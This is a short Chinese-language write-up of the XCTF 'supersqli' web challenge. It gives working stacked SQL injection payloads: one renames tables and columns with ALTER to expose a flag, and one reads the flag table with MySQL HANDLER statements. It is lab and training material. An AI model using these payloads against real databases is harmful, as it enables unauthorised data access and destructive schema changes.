xctf-web supersqli

单引号注入,用order by查到了两个column。用union select的时候发现select关键字被过滤了

用分号尝试堆叠注入显示出了两张表

分别查询字段

flag在表1919810931114514中

方法一:

words中有字段id,id应该为表单查询语句中的查询字段。可以猜测sql语句为:select * from words where id='';

因为没有限制alter,rename和change。所以可以通过修改表名来查flag。只需要把原本的words改成其他名字,1919810931114514表改为words,然后把字段flag改为id即可

payload:

1‘;alter table words rename to (任意名称);

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(20);--+

之后用1’ or 1=1--+就可显示flag

(妙啊~~)

方法二:

利用mysql特有的handler查询

payload:1';handler  `1919810931114514`  open;handler `1919810931114514` read first;--+

handler的使用可参考:https://blog.csdn.net/JesseYoung/article/details/40785137

其他方法后续更新

原文地址:https://www.cnblogs.com/remon535/p/12651327.html